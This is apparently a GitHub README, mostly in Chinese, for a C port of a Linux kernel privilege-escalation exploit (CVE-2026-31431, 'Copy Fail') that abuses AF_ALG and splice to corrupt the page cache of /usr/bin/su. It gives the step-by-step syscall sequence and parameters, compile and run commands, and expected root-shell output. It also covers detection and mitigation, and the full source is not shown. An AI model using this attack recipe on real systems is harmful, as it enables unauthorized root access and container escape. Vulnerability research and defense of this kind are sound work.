polyakovavv/copyfail

GitHub: polyakovavv/copyfail

CVE-2026-31431 Linux 内核本地提权漏洞的 C 语言利用程序,通过 AF_ALG 加密子系统的逻辑缺陷破坏页面缓存,实现从无特权用户到 root 的权限提升。

Stars: 0 | Forks: 0

## 概述 **Copy Fail (CVE-2026-31431)** 是 Linux 内核中的一个逻辑漏洞,允许本地无特权用户将权限提升至超级用户(`root`)级别。该漏洞属于 **本地特权提升 (LPE)** 类别,不需要复杂的利用条件(例如竞态条件或在内存中猜测地址),并且在 2017 年之后发布的大多数 Linux 发行版上可以“开箱即用”。 本仓库包含**原始 Python 漏洞利用程序的 C 语言移植版**,带有详细注释,适合进行静态编译并在最小化环境中使用。 ## 目录 - [漏洞详情](#уязвимость) - [漏洞本质](#суть-уязвимости) - [利用机制](#механизм-эксплуатации) - [受影响的系统](#затронутые-системы) - [漏洞利用程序](#эксплойт) - [C 语言移植版特性](#особенности-порта-на-c) - [编译说明](#компиляция) - [使用方法](#использование) - [工作原理](#как-это-работает) - [逐步解析](#пошаговый-разбор) - [为何页面缓存会被修改](#почему-страничный-кэш-изменяется) - [漏洞修复](#устранение-уязвимости) ## 漏洞详情 ### 漏洞本质 该漏洞源于 Linux 内核加密子系统中与处理 **AF_ALG**(内核加密 API 接口)和**页面缓存**(page cache)机制相关的一个逻辑错误。 该错误于 2017 年引入,当时添加了一项优化,通过**就地**(in-place)执行 AEAD(Authenticated Encryption with Associated Data,带有相关数据的认证加密)块加密操作,去除了多余的缓冲。由于 `authencesn` 算法(AEAD 加密模板的一部分)中对缓冲区边界的处理不当,导致向分配的缓冲区之外写入了 4 个字节,从而破坏了页面缓存的管理结构。 结果就是,内核可能会**将数据写回文件的页面缓存中,即使该文件是以只读方式(`O_RDONLY`)打开的**。 ### 利用机制 1. 无特权用户打开一个 `AF_ALG` 套接字,并初始化 AEAD 算法 `authencesn(hmac(sha256),cbc(aes))`。 2. 通过 `setsockopt()` 设置异常参数: - 特殊格式的密钥(操纵内核缓冲区)。 - 认证标签大小 = 4 字节(对于 HMAC-SHA256,正常值应为 16-32 字节)。 3. 通过带有控制消息(control messages)的 `sendmsg()` 发起**解密**操作。 4. `splice()` 系统调用将目标文件(以 `O_RDONLY` 打开)的数据移动到加密套接字中。 5. 由于 `authencesn` 中的错误,文件的页面缓存被破坏,“解密”后的数据被写回到缓存中。 6. 内核从页面缓存中**执行了被修改的 setuid 文件**,导致代码以 `root` 权限运行。 ### 受影响的系统 | 组件 | 描述 | |-----------|----------| | **Linux 内核** | 自 2017 年起至包含修复补丁之前的所有版本 | | **子系统** | `crypto`(`algif_aead` 模块) | | **接口** | `AF_ALG` — 用户空间对内核加密 API 的访问接口 | | **系统调用** | 与 `AF_ALG` 套接字结合使用的 `splice()` | **受影响的发行版**(在使用的内核中加载了 `algif_aead` 模块的情况下): - Ubuntu(所有版本) - Debian(所有版本) - RHEL / CentOS / Rocky / Alma Linux - SUSE / openSUSE - Fedora - Arch Linux - 其他基于存在漏洞的内核的发行版 **特殊重要性**:在容器环境(Docker、LXC、Kubernetes)中,如果宿主机内核中加载了 `algif_aead` 模块,默认情况下容器内的进程是可以访问 `AF_ALG` 子系统的。这造成了**破坏容器隔离性**并获得对宿主机控制权的风险。 **漏洞验证**: ``` # 检查 algif_aead 模块是否已加载 lsmod | grep algif # 检查内核中是否存在 AF_ALG grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) ``` ## 漏洞利用程序 ### C 语言移植版特性 原始漏洞利用程序是使用 Python 编写的(约 732 字节)。此 C 语言移植版具有以下特点: - **静态编译** — 可在没有 Python 的最小化环境中运行。 - **完全独立** — 仅需 C 标准库和 `libz`。 - **详细的中文注释** — 记录了漏洞利用的每一个步骤。 - **行为一致** — 系统调用与 Python 版本精确匹配(已通过 `strace` 验证)。 - **非阻塞 `recv()`** — 防止挂起,重现了 Python 中 `try/except` 的行为。 **移植过程中发现的与 Python 版本的主要差异**: | 参数 | Python | C(此移植版) | |----------|--------|---------------| | `sendmsg()` 标志 | `MSG_MORE` | `MSG_MORE` | | `splice()` 标志 | `0` | `0` | | pipe 偏移量 | `NULL` | `NULL` | | 密钥大小 | 40 字节 | 40 字节 | | `cmsg_len` | 20/36/20 | 20/36/20(硬编码) | | 创建 pipe | `pipe2(fds, O_CLOEXEC)` | `pipe2(fds, O_CLOEXEC)` | | `recv()` | 使用 `try/except` 的阻塞模式 | 非阻塞模式(`O_NONBLOCK`) | ### 编译说明 ``` # 需要 libz (zlib1g-dev 或 zlib-devel) gcc -o copyfail copyfail.c -lz -static -Wall -O2 ``` ### 使用方法 ``` ./copyfail ``` 成功利用后,将启动一个修改过版本的 `/usr/bin/su`,无需输入密码即可提供 root 访问权限。 **预期输出**: ``` ================================================================ CVE-2026-31431 'Copy Fail' Exploit ================================================================ [+] /usr/bin/su открыт [+] 40 чанков [*] 40/40 ок # id uid=0(root) gid=0(root) groups=0(root) ``` ## 工作原理 ### 逐步解析 以下是漏洞利用每个步骤的详细解析,并指出了相应的系统调用: #### 步骤 1:创建 AF_ALG 套接字 ``` socket(AF_ALG, SOCK_SEQPACKET, 0); bind(sock, {sa_family=AF_ALG, salg_type="aead", salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88); ``` 创建一个用于访问内核加密 API 的套接字。`authencesn`(Authenticated Encryption with Sequence Numbers,带有序列号的认证加密)算法是一个复合 AEAD 算法,使用 AES-CBC 进行加密,并使用 HMAC-SHA256 进行认证。 #### 步骤 2:设置存在漏洞的参数 ``` setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40); setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4); ``` - **密钥**:40 字节的特殊格式,用于操纵内核的内部缓冲区。 - **认证标签大小**:4 字节。HMAC-SHA256 的正常值为 16-32 字节。异常小的值会导致内核发生缓冲区溢出。 #### 步骤 3:初始化解密操作 ``` accept(sock, NULL, NULL); // conn_sock sendmsg(conn_sock, {payload="AAAA"+data, cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT (SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV (SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN MSG_MORE); ``` 为该操作创建一个连接。通过带有控制消息(CMSG)的 `sendmsg()` 设置以下参数: - **操作**:解密(`ALG_OP_DECRYPT = 0`)。 - **IV**:20 字节(而不是 AES 的标准值 16 字节)。 - **关联数据**:8 字节(没有实际传输数据)。 所有这些异常情况在内核内存管理中造成了不一致。 #### 步骤 4:通过 splice() 移动数据 ``` pipe2(pipe_fds, O_CLOEXEC); splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0); splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0); ``` `splice()` 是一个系统调用,用于在文件描述符之间移动数据,**无需通过用户空间进行拷贝**。数据通过 pipe 机制在内核级别进行移动。 1. `splice(target_fd -> pipe)`:来自目标文件(`/usr/bin/su`)的数据进入 pipe。 2. `splice(pipe -> conn_sock)`:pipe 中的数据作为“密文”流入加密套接字。 **关键点**:在 Python(以及此 C 移植版)中,传递给 pipe 的偏移量为 `NULL`,这允许内核自动管理位置。 #### 步骤 5:完成操作并忽略错误 ``` fcntl(conn_sock, F_SETFL, O_NONBLOCK); recv(conn_sock, buf, 8 + t, 0); ``` 调用 `recv()` 促使内核完成加密操作。在正常模式下,这里会返回解密后的数据,但由于参数异常,会返回 `EBADMSG`(Python)或 `EAGAIN`(设置了 `O_NONBLOCK` 的 C)错误。**该错误被忽略** — 页面缓存的破坏在 `splice()` 阶段就已经发生了。 ### 为何页面缓存会被修改 页面缓存(page cache)是 RAM 中文件内容的缓存。当进程通过 `O_RDONLY` 打开文件时,内核只允许从该缓存中读取数据。然而,该漏洞允许绕过此限制: 1. **缓冲区大小不匹配**:authsize=4 而不是 16-32 创建了大小不正确的缓冲区。 2. **缓冲区溢出**:在“解密”时,数据被写入分配的缓冲区边界之外。 3. **引用计数损坏**:溢出影响了页面管理结构(page reference count)。 4. **写入缓存**:内核认为页面是空闲的,于是将“解密”后的数据写入其中。 5. **忽略 O_RDONLY**:访问权限检查在调用 `write()` 时发生在 VFS 层,但 `splice()` 直接在页面缓存层面工作,绕过了这些检查。 **更改仅发生在 RAM 中**,而不是磁盘上。这使得该攻击难以被标准完整性检查工具发现。系统重启或清空页面缓存后,攻击痕迹即会消失。 ## 漏洞修复 ### 主要方法 **将 Linux 内核更新**至包含修复程序的版本。 ### 临时缓解措施 **禁用 `algif_aead` 模块**: ``` # 禁止加载模块 echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf # 卸载模块 (如果已加载) sudo rmmod algif_aead ``` **额外建议**: - 限制用户的本地访问权限。 - 使用内核和系统完整性监控。 - 应用最小权限原则。 - 在容器环境中,通过 seccomp 配置文件禁止对 `AF_ALG` 的访问。 ### 磁盘上的 `/usr/bin/su` 文件会被修改吗? **不会**。更改仅发生在**页面缓存**(RAM)中。磁盘上的文件内容保持不变。系统重启后,页面缓存被清空,文件将恢复到其原始状态。 ### 是否能检测到漏洞利用? 可以通过以下方式进行检测: - 系统调用监控(`auditd`、`strace`)。 - 分析 `AF_ALG` 套接字使用中的异常情况。 - 监控**内存中**(而非磁盘上)的文件完整性。 标准完整性检查工具(AIDE、Tripwire)**无法检测到**这些更改,因为磁盘上的文件保持不变。 ## 免责声明 本代码**仅出于教育和研究目的**提供。作者不对出于任何非法目的使用本代码承担责任。未经系统所有者明确许可使用该漏洞利用程序是**违法的**,并可能承担刑事责任。 **请仅在您自己拥有的系统上,或在您已获得明确书面许可进行安全测试的系统上使用。**
标签:0day挖掘, 0day漏洞, Copy Fail, CVE-2026-31431, Exploit, Linux内核漏洞, LPE, Web报告查看器, 内核安全, 协议分析, 堆漏洞, 子域名枚举, 安全渗透, 客户端加密, 提权漏洞, 数据展示, 本地提权, 权限提升, 系统安全, 红队, 网络安全, 隐私保护, 页面缓存污染